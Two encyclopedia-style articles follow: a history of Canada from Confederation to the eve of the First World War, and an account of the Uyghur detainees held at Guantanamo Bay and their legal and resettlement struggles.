In the 1860s, the British were concerned with the possibility of an American assault on Canada in the wake of the American Civil War. Britain also feared that American settlers might expand to the north, into a land that was technically British but which was sparsely settled. There were also problems with raids into Canada launched by the Fenian Brotherhood, a group of Irish Americans who wanted to pressure Britain into granting independence to Ireland. Canada was already essentially a self-governing colony since the 1840s, and Britain no longer felt it was worth the expense of keeping it as a colony. Both sides would, it was felt, be better off politically and economically if Canada was independent. These factors led to the first serious discussions about real, formal political union in Canada. However, there were internal political obstacles to overcome first. The Province of Canada had little success in keeping a stable government for any period of time; the Tories, led by John A. Macdonald and George-Étienne Cartier, were constantly at odds with the "Clear Grits" led by George Brown. In 1864, the two parties decided to unite in the "Great Coalition". This was an important step towards Confederation.
Meanwhile, the colonies further east, Nova Scotia, New Brunswick, Prince Edward Island, and Newfoundland, were also discussing a political union with each other. Representatives from the Province of Canada joined them at the Charlottetown Conference in Charlottetown, Prince Edward Island in 1864 to discuss a union of all the colonies, and these discussions were extended into the Quebec Conference of 1864. While there was opposition in each of the colonies, only Prince Edward Island and Newfoundland decided to remain outside of the planned Confederation. In 1867, representatives of the other colonies travelled to Britain to finalize the union, which was granted by the British North America Act (BNA Act) on July 1, 1867.
Early drafts of the BNA Act showed that Macdonald and the other Fathers of Confederation had viewed the new nation as a kingdom, calling for the official name of the country to be the "Kingdom of Canada". Though it is still considered that Canada became a "kingdom in her own right" in 1867, it was felt by the Colonial Office in London that a name such as Kingdom of Canada was too "premature" and "pretentious." Instead the term "Dominion" was adopted. In 1879, July 1 was formally established as Dominion Day to celebrate Confederation. While the BNA Act gave Canada a high degree of autonomy within the British Empire, this autonomy extended only to internal affairs. External affairs, such as border negotiations with the United States, were still controlled from Britain. The new country was led by Prime Minister John A. Macdonald, leader of the Conservative Party.
Social and political tensions
Canada's material condition was weak, 1867–1896, and the psychological mood became increasingly embittered. Historian Arthur Lower concludes that in the late 1880s, “never before or since has Canada reached such a low state; never has there been so little evidence among its people of national spirit.” The economy grew very slowly, and large districts, especially in the Maritimes and Quebec were becoming more poor every year. Canada industrialized very slowly, and therefore generated few high-paying jobs. The hard-scrabble farms were hard-pressed to compete with American agriculture. Immigrants were bypassing Canada for the fast-growing United States, where high wages and new jobs and fresh lands were awaiting the ambitious. Many Canadians themselves emigrated to the States. Anglophones went to New York, Michigan and Minnesota. Quebeckers move south into the textile mills of New England. A half-million people left the Maritimes, and few newcomers arrived. The Fathers of Confederation had envisioned fast economic growth through building a transcontinental railroad network. But it was not finished until the late 1880s, and it seemed to produce more frustration and dismay than prosperity. In Manitoba, for example, local businessmen and speculators were outraged when the Canadian Pacific Railway suddenly shifted its operations away from the centre of the province, to the southern edge, and its lawyers and politicians blocked the opening of rival lines. Canadians distrusted their politicians, and repeatedly sought out and discovered corrupt deals, especially financial contracts made by and for the benefit of politicians. There was a widespread sense that Confederation had been a failure. Provincial politicians sought to weaken the powers of the central government, and there were few local voices speaking in support of it.
Battles over language
Religious, language and ethnic differences worsened decade by decade. European Canadians were highly religious, but the Protestants and Catholics hated each other. The Francophones saw their traditional culture under siege by the Anglophones, who controlled business and finance across Canada, including Quebec's, and systematically blocked the expansion of French language schools outside Quebec. The hanging of Louis Riel for treason in 1885 convinced Francophones they were under attack, and permanently undermined the Conservative base in Quebec. French nationalism emerged as a powerful force that is still a dominant factor in Quebec's history. Inside the Irish community, the longstanding bitterness between the Protestant Orange and the Catholic green continued unabated. The Orange boasted of the supremacy of their Anglo-Saxon civilization and Protestant culture over the backward, medieval, priest-ridden Catholicism. They ridiculed the French and Irish races as backwards and ultimately doomed. The ethnic-religious-language lines were sharply drawn. Intermarriage was rare and indeed friendships and casual communication were not sought after. The Catholic Irish, however, joined with Protestants to block the expansion of French schools outside Quebec, thereby causing severe tensions inside the Catholic community.
Anglophones generally trusted Britain and the British Empire, but London had different ideas. London pushed for Confederation after the American Civil War so as to avoid the enormous expense of defending Canada against a possible American invasion. In the Alaska boundary dispute it demonstrated that the goodwill of the United States outweighed Canadian interests. Many businessmen, on the other hand, wanted to join the United States, leading to political tension in the upper-class clubs and boardrooms.
Finally after 1896, with the opening of the rich Western wheat plans, did the Canadian economy recover. Immigration surged, and a spirit of optimism returned to Canada.
First Nations
As part of Confederation, Canada was now responsible for existing treaty obligations with First Nations. Under Macdonald, Canada bought Rupert's Land and the North-Western Territory (NWT) from the Hudson's Bay Company in 1869. This was unceded First Nations territory and the new government continued the British policy of acquiring land through treaty negotiations with several First Nations to enable European settlement. The exception was the existing colony of British Columbia, which did not enter into treaties with the Coastal First Nations. The Numbered Treaties were negotiated by the Government of Canada and various First Nations, beginning with Treaty 1 in 1871. In these treaties, the First Nations gave up aboriginal title to vast amounts of land, in exchange for reserves for their exclusive use and various promises of schools, food and other entitlements.
There were no full-scale Indian wars such as those fought in the United States as Canada expanded into First Nations territory in the Prairies. However, the expansion was not fully peaceful. A Métis uprising led to the formation of Manitoba in 1870. In 1873, the Government of Canada established the North-West Mounted Police to police the NWT. The Métis and some First Nations allies launched the North-West Rebellion in 1885 that was put down militarily. Smaller-scale skirmishes occurred between white settlers, Canadian and American traders and native peoples.
The period after Confederation was a period of hardship for many Prairie First Nations. The 1870s saw the disappearance of the herds of wild bison on the prairie, (partly due to illnesses passed from domesticated cattle). Many natives were affected by famine and disease introduced by Europeans and sought food and medical support when signing treaties with Canada. Aid to the natives was a political issue and federal allocations for the Department of Indian Affairs to provide medical support and food destined for famine relief were reduced by Macdonald's government. The period saw epidemics of smallpox and tuberculosis among the Plains First Nations. Partly due to malnutrition, tuberculosis ravaged the reserves in the 1880s.
Under Prime Minister Alexander Mackenzie, Canada introduced the Indian Act in 1876 to govern its relations with the First Nations. Under the Act, Canada also adopted a paternalistic role towards the First Nations peoples. Canada continued the pre-Confederation policy of 'civilizing' the First Nations peoples through "enfranchisement." To become full British subjects, natives had to give up their newly-designated "Indian status" and learn English. Canada banned some First Nations customs, for example, the Potlatch ban. Under the Act, a system of elected band councils was formed, intended to replace existing traditional government. Many Canadian policies were also contradictory. For example, Canadian officials viewed reserve farming as an important practice for assimilating First Nations; however, by the late 19th century officials were enforcing a Peasant Farm Policy that restricted reserve farmers largely to using hand tools in an effort to limit the competitiveness of First Nations farmers.
The Canadian government also introduced residential schools, where First Nation children were taught to forget their languages and traditions. The policies would continue well into the 20th century. The Truth and Reconciliation Commission of Canada would later term the school system to be a case of cultural genocide.
The Red River Rebellion
The new government of the confederated Canada encouraged westward settlement in the prairies. However, the people who already lived there, natives and Métis, descendants of the children of natives and French Canadian fur traders, were opposed to waves of English-speaking settlers taking their lands. The Métis of the Red River settlement (near present-day Winnipeg, Manitoba), led by Louis Riel, formed a provisional government to negotiate with the Canadian government, although these negotiations quickly fell apart. Riel led the Red River Rebellion in 1869 and 1870, during which he executed an uppity Orange Protestant Irishman, causing an uproar among Protestant English Canadians. Macdonald sent the militia to put down the rebellion, which they quickly did, and Riel fled to the United States. Many of the Métis moved west into unsettled areas of Saskatchewan.
The Rebellion led to the creation of the province of Manitoba in 1870, with laws intended to protect the rights of the natives, Métis, French-speakers and English-speakers, Catholics and Protestants.
The North-West Rebellion of 1885
After the Red River Rebellion, many Métis moved west to what is now Saskatchewan. However, with the relentless westward expansion of the railway and the steady flow of settlers, they feared their way of life was threatened. In 1884, Riel was called upon by the Métis leadership, now based in Saskatchewan, to articulate Métis grievances to the Canadian government. Unexpectedly, he went beyond petitions and organized a military force that escalated into a small war, the North-West Rebellion of 1885. Riel was deserted by Catholic missionaries distressed by his heresies, and by all his former white allies. He was supported by the First Nations Cree and Assiniboine of Saskatchewan who joined the rebellion. Ottawa used the new rail lines to send in thousands of combat soldiers as well as Mounties and militia. They decisively defeated the rebel forces at their capital at Batoche. Some rebels escaped to the U.S. Riel was captured and convicted of high treason. Rejecting many protests and popular appeals, especially from Quebec, Prime Minister Macdonald decided to hang him. The Métis submitted sullenly; there was no further Indian war.
Riel was idealized as a heroic victim by Francophones; his execution had a lasting negative impact on Canada, polarizing the new nation along ethnic and religious lines. Riel's historical reputation has long been polarized between portrayals as a dangerous half-insane religious fanatic and rebel against the Canadian nation or by contrast a heroic rebel who fought to protect his Francophone people from the unfair encroachments of an Anglophone national government. He is increasingly celebrated as a proponent of multiculturalism, although that downplays his primary commitment to Métis nationalism and political independence.
The crisis rescued the Canadian Pacific Railway company, which was on the verge of financial collapse. It demonstrated its military value and earned enough Conservative political support for further funding to complete the line, thus realizing Macdonald's dream of a transcontinental railway to help unite Canada.
Suppressing the Rebellion was Canada's first independent military action. It cost about $5 million, plus millions more to complete the Canadian Pacific Railway. It guaranteed control of the Prairies and demonstrated the national government was capable of decisive action. However, it lost the Conservative Party most of their support in Quebec and led to a permanent distrust of the Anglophone community on the part of the Francophones.
Expansion
In 1866, the colonies of British Columbia (formerly New Caledonia) and Vancouver's Island were united. British Columbia had been important for British control of the Pacific Ocean and was a centre of the fur trade between Britain, the United States, Russia, Spain, and China. It did not participate in the original Confederation conferences but agreed to join Canada in 1871 when Macdonald promised to build a transcontinental railroad to it. The Canadian Pacific Railway and the Dominion Land Survey were started soon after.
In 1873, Prince Edward Island finally accepted the inducements on offer to pay its railway debts and buy-out of the last of the colony's absentee landlords. It joined the Dominion. Macdonald created the North-West Mounted Police in 1873 to help police the North-West Territories and assert Canadian independence over possible American encroachments into the sparsely populated land. The "Mounties" became legendary for keeping law and order in the West.
Railways
The federal government strongly supported railway development for political goals. First, it wanted to knit the far-flung provinces together, and second, it wanted to maximize trade inside Canada and minimize trade with the United States, to avoid becoming an economic satellite. The Intercolonial Railway built 1872 - 1876, linked the Maritimes to Quebec and Ontario and contributed to an ice-free winter route to Britain. Diplomatically, it avoided the necessity of getting Washington's permission in wartime to ship munitions across the American state of Maine. In a larger perspective, it provided the model for a government-owned and operated railway system.
No less than three transcontinental lines were built to the west coast, but that was far more than the traffic could support, making the system simply too expensive. The priority, however, was national unity more than the national budget.
One after another, the federal government was forced to take over the lines and cover their deficits. Since most of the equipment was imported from Britain or the United States, and most of the products carried were from farms, mines or forests, there was little stimulation to manufacturing. On the other hand, the railways were essential to the growth of the wheat regions in the Prairies, and to the expansion of coal mining, lumbering, and paper-making. Improvements to the St. Lawrence waterway system continued apace, and many short lines were built to river ports.
By 1875, the government was spending a fourth of its budget on building the -long Canadian Pacific, as well as finishing the Intercolonial. Arrangements with the Canadian Pacific Railway syndicate in 1880 brought on board the leading bankers and financiers in Canada as well as American and European bankers. Incredible geographical obstacles – rivers, swamps, mountains, and severe weather were major impediments, but the line opened from Montreal to Vancouver in late 1885.
The new private syndicate started selling land through the Canadian North-West Land camp company, attracting settlers with model farms and promoting dry farming techniques, as well as building an irrigation system in Alberta. The railway also opened coal and lead mines, fixed establishments press service, and open telegraph lines. It created tourist hotels in the mountains, most famously at Banff, Alberta and nearby Chateau Lake Louise, as well as landmark stations in major cities. The CPR built a fleet to enable fast passenger and freight service between Europe and Asia via Canada. Connections to American railways proved valuable. As the American frontier was largely closed by 1890, migrants looking to settle virgin land moved from the United States into the Prairie provinces. They shipped their wheat out by rail, and ordered supplies from Ontario.
A scandal erupted in 1873. Macdonald and the Conservative government faced a major political crisis when it was revealed that the Canadian Pacific Railway Company had helped fund Macdonald's election campaign in 1872. A new election was called in 1874, and Alexander Mackenzie became prime minister. The public's suspicion of Macdonald was overcome by 1878 when Macdonald and the Conservatives were re-elected.
Macdonald's "National Policy"
After being restored as Prime Minister, Macdonald introduced the National Policy, a system of protective tariffs meant to strengthen the Canadian economy. Part of the policy was the completion of the railroad, which would allow products to be transferred more easily across the country. It was also a response to the United States, which had a much stronger economy that threatened to overwhelm Canada; the United States had a trade reciprocity treaty with the United Province of Canada from 1854 to 1866 but abrogated the treaty before Confederation. Many people believed this policy was only beneficial to Ontario, as the Maritimes especially depended on trade with the United States. While it was somewhat beneficial for asserting Canadian independence, it was not very useful in the less industrial Maritimes and West.
Ontario's quest for provincial rights
While Macdonald may have hoped that the BNA Act would provide the central government in Ottawa with a strong hand, some of the provinces, particularly Ontario under the leadership of its premier Oliver Mowat, pushed for interpretations of the constitution that favoured provincial rather than Dominion interests. Mowat, premier from 1872 until 1896, became the "implacable enemy" of Prime Minister Macdonald as a result of a series of court decisions regarding provincial jurisdiction over liquor licences, use of streams, and mineral rights. The boundary between Ontario and Manitoba became a hotly contested matter, with the federal government attempting to extend Manitoba's jurisdiction eastward to the Great Lakes, into the areas that Ontario claimed. In 1882 Premier Mowat threatened to pull Ontario from Confederation over the issue. Mowat sent police into the disputed territory to assert Ontario's claims, while Manitoba (at the behest of the national government) did the same. The Judicial Committee of the Privy Council in Britain, serving as Canada's highest appeal court, repeatedly issued rulings taking the side of provincial rights. These decisions would to some extent neutralize the power of the central government, creating a more decentralized federation. John Ibbitson writes that by 1914:
The Manitoba Schools Question
After the Red River Rebellion and the entrance of Manitoba into Confederation, settlers from English Canada arrived in the new province in greater numbers. In 1890, the provincial government passed the Manitoba Schools Act, abolishing government funding for Catholic schools and abolishing French as an official language - contrary to the Manitoba Act that created the province. This led to another federal political crisis, and by 1896, Prime Minister Mackenzie Bowell was forced to resign. Wilfrid Laurier, a Catholic from Quebec, became prime minister. Laurier developed a compromise stating that French would be used in schools when there were a significant number of French-speaking students; this compromise was denounced by both sides but was recognized as the only possible solution. However, along with the execution of Louis Riel, the Manitoba Schools Question led to an increase of French Canadian nationalism.
Immigration to the West
While the National Policy, CPR and Dominion Lands Act had been in place for several decades, mass immigration to Canada's prairie regions only got underway around 1896. Why it began then is a matter of debate among historians. John Dales argued that it was a combination of rising wheat prices, cheaper ocean transport costs, technological change, new varieties of wheat, and the scarcity of land in the United States. Norry does not view any of these developments as being important and instead argues that new methods of dry farming lead to the breakthrough. Recently, Ward had argued that technological change was the most important factor, with a number of different inventions becoming cheap and reliable enough to be widely used around this period. The period of western settlement was one of the most prosperous in Canadian history. From 1896 to 1911, Canada had the world's fastest-growing economy. Immigration from Eastern Europe and the eastern parts of the former Austro-Hungarian empire brought many old-world farmers to settle the west and despite their lack of knowledge of the English language, many adapted quickly to the farming environment which was somewhat similar to their original homelands.
Klondike Gold Rush
In August 1896, a party led by Skookum Jim Mason discovered gold on a tributary of the Klondike River. After the discovery was publicized in 1897, an estimated 30,000 to 40,000 people braved numerous hardships to reach the Klondike goldfields in the winter and spring of 1897–98. With the influx of American stampeders, the government decided to relieve the North-West Territories' administration from the task of controlling the sudden boom of population, economic activity and influx of non-Canadians. On June 13, 1898, the Yukon became a separate territory. In 1901, after many had gone back, the Census put the population of the territory at 27,219, a figure that was not reached again until 1991. The influx of people greatly stimulated mineral exploration in other parts of the Yukon and led to two subsidiary gold rushes in Atlin, British Columbia and Nome, Alaska as well as a number of mini-rushes. Transportation needs to the goldfields led to the construction of the White Pass and Yukon Route.
Alaska boundary dispute
The precise Alaska-Canada boundary became important when gold was discovered in the Klondike. Miners had to enter through American Alaska to get there. Canada wanted its own Pacific port and rejected American offers to lease it one. Instead, it claimed its historic boundary with Russian Alaska included the Lynn Canal and the port of Skagway, both occupied by the U.S. The dispute went to arbitration in 1903 but, to the anger of Canadians, the British delegate sided with the Americans. It was a matter of ensuring good relations between London and Washington, at the expense of Canada. The resentment contributed to the defeat of Wilfrid Laurier and his Liberal Party in the 1911 election as they proposed a reciprocal trade treaty with the U.S. that would lower tariff barriers.
Rising Anti-Asian sentiment in British Columbia
Prior to 1885, restrictions on immigration were imposed mostly in response to large waves of immigration rather than planned policy decisions, but not specifically targeted at one group or ethnicity, at least as official policy. Then came the introduction of the first Chinese Head Tax legislation passed in 1885, which was in response to a growing number of Chinese working on the Canadian Pacific Railway. Northwestern European Canadians in British Columbia grew increasingly fearful and angry about immigration from Asia that they perceived threatened their jobs and the British culture and standard of living in B.C. Problems such as opium smoking were of particular concern. In 1886, a head tax was imposed on the Chinese, with subsequent increases in 1900 and 1903 which limited Chinese immigration to Canada. The head reached as much as $500 per person to enter Canada by 1904.
After initial waves of immigration to British Columbia beginning in 1897, South Asian (primarily Punjabi Sikhs) settlers had to face an amended Immigration Act in 1908 that required Indians to have $200 on arrival in Canada, and immigration would be allowed only if the passenger had arrived by continuous journey from India, which was impossible. A year prior in 1907, provincial disenfranchisement hit South Asians in British Columbia who were thus denied the federal vote and access to political office, jury duty, professions, public-service jobs, and labour on public works.
Similar to prior riots in 1887, a major riot against East Asian Canadians took place in Vancouver, BC in 1907, days after a similar riot in Bellingham targeted South Asians. A mob of English-Canadian rioters attacked East Asian Canadian businesses but met stiff resistance from the Japanese community. Further anti-Asian sentiment was witnessed in 1914 when the Komagata Maru arrived in Vancouver with 376 Punjabis (337 Sikhs, 27 Muslims and 12 Hindus) aboard, but only 24 were admitted and the ship was ultimately forced back to India. By 1923 the dominion government passed the Chinese Immigration Act, which prohibited all Chinese immigration until it was repealed in 1947. In 1942, Japanese Canadians were rounded up and sent to inland camps for the duration of the war.
Asian-Canadians were finally given equal status and the vote in 1947. For discriminating against Chinese settlers and immigrants in past periods, an official government apology and compensations were announced on June 22, 2006. Furthermore, in 2016, the Canadian government issued a full apology in parliament for discriminating against would-be South Asian settlers and immigrants during the Komagata Maru Incident.
Popular culture
Canadians in the 19th century came to believe themselves possessed of a unique "northern character," due to the long, harsh winters that only those of hardy body and mind could survive. This hardiness was claimed as a Canadian trait, and such sports as ice hockey and snowshoeing that reflected this were asserted as characteristically Canadian. Outside the arena Canadians express the national characteristics of being peaceful, orderly and polite. Inside they scream their lungs out at ice hockey games, cheering the speed, ferocity, and violence, making hockey an ambiguous symbol of Canada. Nevertheless, the most popular sport was baseball, one shared with the U.S. and promoted especially by the Irish Catholics in the cities.
Laurier and Canada's role in the Empire
Laurier hoped to unite French and English Canada in a unique sense of Canadian nationalism, rather than remain unquestionably loyal to Britain. Along with some Americans, he also hoped for a shift of focus towards North America, a policy often known as "continentalism." However, in 1899, the British immediately assumed Canada would send military support to the Boer War in South Africa, and there was indeed enormous support for military action from English Canada. French Canada was strongly opposed to military support for Britain's imperialist wars. The opposition was led by Henri Bourassa, who, like Laurier, preferred a united, independent Canada. Bourassa denounced Laurier when Laurier eventually decided to allow a volunteer force to fight in the war, even though the other option would have been calling up an official army.
As Prime Minister, Laurier successfully brought Saskatchewan and Alberta into Confederation in 1905, carving those provinces out of the Northwest Territories. He felt Canada was on the verge of becoming a world power and declared that the 20th century would "belong to Canada". However, he faced even more criticism when he introduced the Naval Service Act in 1910. It was meant to make Canada less dependent on Britain and British imperialism, but Bourassa believed the British would now call on the Canadian navy whenever it was needed, just as they did with the Canadian army. Pro-British imperialists were also opposed to the attempt to remove Canada from the Empire. The Naval Service Bill led to Laurier's downfall in the election of 1911. Conservatives led by Robert Laird Borden attacked reciprocity with the United States, warning that strong economic links would weaken the Empire and allow the neighbour to increasingly take over the economy.
British politicians at the time and historians ever since have explored whether the British Empire was too expensive for the British budget. Joseph Chamberlain thought so but he had little success at the Imperial Conference of 1902 asking overseas partners to increase their contribution. Canada and Australia spoke of funding a warship—the Canadian Senate voted it down in 1913. Meanwhile, the Royal Navy adjusted its war plans to focus on Germany, economizing on defending against lesser threats in peripheral areas such as the Pacific and Indian Oceans. Defending Canada was a low priority.
See also
Heritage Minutes
British North America
Canadian Confederation
References
Notes
Citations
Further reading
The Dictionary of Canadian Biography(1966–2006), thousands of scholarly biographies of those who died by 1930
The Canadian Encyclopedia, Recommended place to start
Bothwell, Robert, Ian Drummond, and John English. Canada 1900-1945. University of Toronto Press, 1987, textbook
Brown R. C. Robert Laird Borden: A Biography. 2 vols. (1975, 1980).
Brown R. C., and Ramsay Cook. Canada, 1896-1921: A Nation Transformed. (1974). the standard survey
Buckner, Phillip and David Frank. Atlantic Canada after Confederation (Acadiensis Press, 1988)
Craats, Rennay. The 1910s in Canada (Weigl Educational Publishers Limited, 2000) excerpt
Creighton, Donald Grant. John A. Macdonald: The Old Chieftain (Vol. 2. Macmillan, 1955). Influential scholarly biography
Hou, Charles, and Cynthia Hou, eds. Great Canadian Political Cartoons, 1820–1914. (1997).
Neatby, H. Blair. Laurier and a Liberal Quebec: A Study in Political Management (1973)
Norrie, Kenneth and Douglas Owram. A History of the Canadian Economy (1991) pp 289–403
Salomons, Elizabeth. The 1900s in Canada (Weigl Educational Publishers Limited 2000 excerpt
Stanley, G.F.G. The Birth of Western Canada: A History of the Riel Rebellions. Toronto: University of Toronto Press, (1936)
External links
Canada Year Book (CYB) annual 1867–1967
Events of National Historic Significance
National Historic Sites of Canada
Persons of National Historic Significance in Canada
Alaska and Western Canada Collection - at University of Washington Libraries: Images documenting Alaska and Western Canada, primarily the provinces of Yukon Territory and British Columbia depicting scenes of the Gold Rush of 1898, city street scenes, Eskimo and Native Americans of the region, hunting and fishing, and transportation
Slides for class lecture
19th century in Canada
20th century in Canada
1867
Canadian Confederation
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https://en.wikipedia.org/wiki/Uyghur%20detainees%20at%20Guantanamo%20Bay
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Uyghur detainees at Guantanamo Bay
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Starting in 2002, the American government detained 22 Uyghurs in the Guantanamo Bay detainment camp. The last 3 Uyghur detainees, Yusef Abbas, Hajiakbar Abdulghupur and Saidullah Khali, were released from Guantanamo on December 29, 2013, and later transferred to Slovakia.
Uyghurs are an ethnic group from Central Asia, native to the Xinjiang Uyghur Autonomous Region in Western China. Since China gained control of Xinjiang in 1949, Uyghurs led a series of rebellions and uprisings against the Chinese, gaining intense leverage in the 90s and early 2000s, culminating in a series of protests, demonstrations, and terrorist attacks. Uyghurs have also frequently called for the international recognition of their own state through the East Turkestan Islamic Movement, which the United States used to recognize as a terrorist group.
The Washington Post reported on August 24, 2005, that fifteen Uyghurs had been determined to be "No longer enemy combatants" (NLECs).
The Post reported that detainees who had been classified as NLEC were, not only still being incarcerated, but one was shackled to the floor for reasons not disclosed by his attorney. Five of these Uyghurs, who had filed for writs of habeas corpus, were transported to Albania on May 5, 2006, just prior to a scheduled judicial review of their petitions. The other seventeen obtained writs of habeas corpus in 2008.
Common elements in the detainees' testimony
Several of the detainees admitted receiving training on the AK-47, including Bahtiyar Mahnut, Yusef Abbas, and Abdul Hehim. They described being trained by East Turkestan Islamic Movement leaders Abdul Haq and Hassan Maksum. At least one described being trained on a pistol.
The Uyghurs who were present at the alleged camp reported that they did not expect their camp to be bombed. Some of them acknowledged that they had heard of the September 11 attacks on the radio, but none of them knew that the Taliban were accused of involvement. They all acknowledged having fled the camp when it was bombed. They all stated that they were unarmed. One of the Uyghurs said Maksum was killed in the bombing.
None of the Uyghurs described seeing the United States as an enemy. All of the Uyghurs who mentioned the People's Republic of China described its government as an oppressive occupation. Some of the Uyghurs said that they sought out the training in order to go back to China and defend their fellow Uyghurs against their Chinese occupiers. Some of the other Uyghurs said they sought out the camp of fellow Uyghurs because they were waiting for a visa to Iran, one of the countries they had to pass through on their way to Turkey. They had heard that Turkey would grant them political asylum.
Combatant Status Review Tribunal results
From July 2004 through March 2005, all 568 of the detainees held at Guantanamo had their detention reviewed by Combatant Status Review Tribunals. 38 of the detainees were determined to be NLEC. Five Uyghurs were among the 38 detainees determined not to have been enemy combatants, and were transferred from the main detention camp to Camp Iguana.
This conclusion was remarked on by the first Denbeaux study, that pointed out that many of the detainees who remained incarcerated had faced much less serious allegations than the Uyghurs had faced.
On May 10, 2006, Radio Free Asia reported that the five Uyghurs transported to Albania were the only Uyghurs who had been moved to Camp Iguana.
In September 2007, the Department of Defense published dossiers prepared from the unclassified documents arising from the captives' Combatant Status Review Tribunals.
Information paper: Uighur Detainee Population at JTF-GTMO
Asylum in Albania
None of the Uyghurs wanted to be returned to China. The United States declined to grant the Uyghurs political asylum, or to allow them parole, or even freedom on the Naval Base.
Some of the Uyghurs had lawyers who volunteered to help them pursue a writ of habeas corpus, which would have been one step in getting them freed from U.S. detention.
In the case of Qassim v. Bush, those Uyghurs argued for their writ of habeas corpus in United States Court of Appeals for the District of Columbia Circuit was scheduled to hear arguments on Monday May 8, 2006. Five of the Uyghurs were transported to Albania, on Friday May 5, 2006; the United States officials filed an emergency motion to dismiss later that day. The court dismissed the case as moot.
Barbara Olshansky, one of the Uyghur's lawyers, characterized the sudden transfer as an attempt to: "... avoid having to answer in court for keeping innocent men in jail,"
Some press reports state that the Uyghurs have been granted political asylum in Albania. But the U.S. government press release merely states that they are applying for asylum in Albania.
On May 9, 2006, the Associated Press reported that the People's Republic of China (PRC) denounced the transfer of custody.
The PRC called the transfer of the Uyghurs to Albania a violation of international law. Albania agreed to examine the evidence against the men.
Radio Free Asia reports that the five were staying at a National Center for Refugees in a Tirana suburb.
On May 24, 2006, Abu Bakr Qasim told interviewers that he and his compatriots felt isolated in Albania. Qasim described his disappointment with the United States, who the Uyghurs had been hoping would support the Uyghurs quest for Uyghur autonomy. To the BBC he said that "Guantanamo was a five-year nightmare. We're trying to forget it".In an interview with ABC News Qasim said that members of the American-Uyghur community had come forward and assured the U.S. government that they would help him and his compatriots adapt to life in the United States, if they were given asylum there.<ref name=Abc060523>Guantanamo's Innocents: Newly Released Prisoners Struggle to Find a Home, ABC News, May 23, 2006.</ref>
On June 19, 2008, the Associated Press reported that Adel Abdu Al-Hakim had been denied political asylum in Sweden.
Sten De Geer, his Swedish lawyer, plans to appeal the ruling, because Albania will not allow his wife and children to join him.
On February 9, 2009, Reuters reported that the five Uyghurs in Albania had heard from the seventeen Uyghurs left behind in Guantanamo, and that their conditions had improved.
Allegations of Sino-American collusion
An article in the December 5, 2006, edition of The Washington Post reported on a legal appeal launched on behalf of seven of the Uyghurs remaining in detention in Guantanamo.
The article reports that the Uyghurs' lawyers argued that the evidence against their clients was essentially identical to that against the five Uyghurs who were released; that the process by which their "enemy combatant" status had been determined, and reviewed, was flawed.
The article went on to quote Washington officials, and former officials, about whether the group that the Uyghurs were accused of belonging to had been added to the State Department's list of Terrorist organizations largely to secure acquiescence from the PRC to the then imminent U.S. invasion of Iraq. It quoted the Uyghurs' lawsuit: "In the crisis atmosphere of the time, the interests of a few dozen refugees paled beside the urgency of the Administration's war plans," and Susan Baker Manning, one of the Uyghurs' lawyers: "It is amazing to me that the US has agreed to in effect hold political prisoners for China in exchange for anything. That goes against everything that we, I thought, stood for in this country."
Guantanamo spokesman, Commander Jeffrey Gordon, responded to the appeal with the comment: "There is a significant amount of evidence, both unclassified and classified, which supports detention by U.S. forces," According to the Associated Press Gordon told reporters that "the seven had 'multiple' reviews and were properly classified as enemy combatants."
An article about the Uyghurs' appeal, in The Jurist, citing the Fifth Denbeaux Report: The no-hearing hearings, called the Uighur's Combatant Status Review Tribunals "show trials".
In April 2007, their lawyer Sabin Willett described their situation as:
A May 2008 report by the Inspector General of the United States Department of Justice claimed that American military interrogators appeared to have collaborated with visiting Chinese officials at Guantánamo Bay to enact sleep deprivation of the Uyghur detainees. A bipartisan Senate Armed Services Committee report, released in part in December 2008 and in full in April 2009, concluded that the legal authorization of "Enhanced interrogation techniques" led directly to the abuse and killings of prisoners in US military facilities. Brutal abuse believed to originate in China torture techniques to extract false confessions from American POWs migrated from Guantanamo Bay to Afghanistan, then to Iraq and Abu Ghraib.
Held in isolation, in Camp Six
On March 11, 2007, the Boston Globe reported that the 17 remaining Uyghur captives had been transferred to the newly built Camp Six, in Guantanamo.
The Globe reports that the Uyghurs are held for 22 hours a day in cells without natural light.
The Globe points out that prior to their detention in Camp Six, they were able to socialize with one another, but that they couldn't speak to the prisoners in neighboring cells because none of them speak Arabic or Pashto. The Globe quotes Sabin Willett, the Uyghur's lawyer, who reports that, consequently, there has been a serious decline in the Uyghur's mental health.
According to the Globe: "The military says the Uighurs were put there either because they attacked guards or trashed their quarters during the riot last May."
The Globe quotes Sabin Willett's explanation for the Uyghur's new harsher detention. Willett: "... links their assignment to Camp Six to a filing he made seeking their release."
Passage of the Military Commissions Act and the Detainee Treatment Act
In the Summer of 2006, the habeas corpus submissions known as Hamdan v. Rumsfeld reached the United States Supreme Court.
The Supreme Court ruled the Executive Branch lacked the Constitutional authority to initiate military commissions to try Guantanamo captives.
However, it also ruled that the United States Congress did have the authority to set up military commissions. In the fall of 2006, Congress passed the Military Commissions Act, setting up military commissions similar to those initially set up by the Executive Branch.
The Act also stripped captives of the right to file habeas corpus submissions in the US Court system. The earlier Detainee Treatment Act, passed on December 31, 2005, had stripped captives of the right to initiate new habeas corpus submissions, while leaving existing habeas corpus motions in progress.
The Detainee Treatment Act had explicitly authorized an appeal process for Combatant Status Review Tribunals which failed to follow the military's own rules.
And Sabin Willet, the Uyghur's lawyer, has chosen to initiate appeals of the Uyghur's Combatant Status Review Tribunals.
However, Willet argues, the Combatant Status Review Tribunals failed to consider the interrogator's conclusions that the Uyghurs were not enemies, had not supported the Taliban, and had not engaged in hostilities.
Assistant Attorney General Peter D. Keisler led the response team. Keisler's team accused Willet of trying to:
They said the argument boiled down to:
Asylum negotiations
The Uyghurs can not be repatriated to China because domestic U.S. law proscribes deporting individuals to countries where they are likely to be abused.
The Bush administration conducted bilateral negotiations with a number of other countries, to accept captives who had been cleared for release, with very limited success.
Frustrated British officials who were negotiating for the return of Guantanamo captives who had been granted UK residency permission prior to their capture leaked the conditions Bush administration officials were trying to insist upon. Bush officials were insisting that Britain either indefinitely incarcerate the men, upon their arrival—or they place them under round the clock surveillance.
Early release discussions
The Asia Times reported, on November 4, 2004, that there had been internal discussion over how the US could release Uyghurs, without putting their safety at risk.
Asylum in Canada
On June 2, 2008, The Globe and Mail reported that recently released documents suggested that the Government of Canada had come close to offering asylum to the Uyghurs.
The Globe reports that Canadian officials held back from offering the Uyghur captives asylum out of fear that the PRC government would retaliate against Huseyin Celil, a Canadian citizen of Uyghur background, who was in Chinese custody.
On February 4, 2009, The Globe and Mail reported that Hassan Anvar's refugee claim, and the refugee claims of two of his compatriots were close to completion.
The article quoted Mehmet Tohti, a Uyghur human rights activist who stated that he had met with Immigration Minister Jason Kenney.
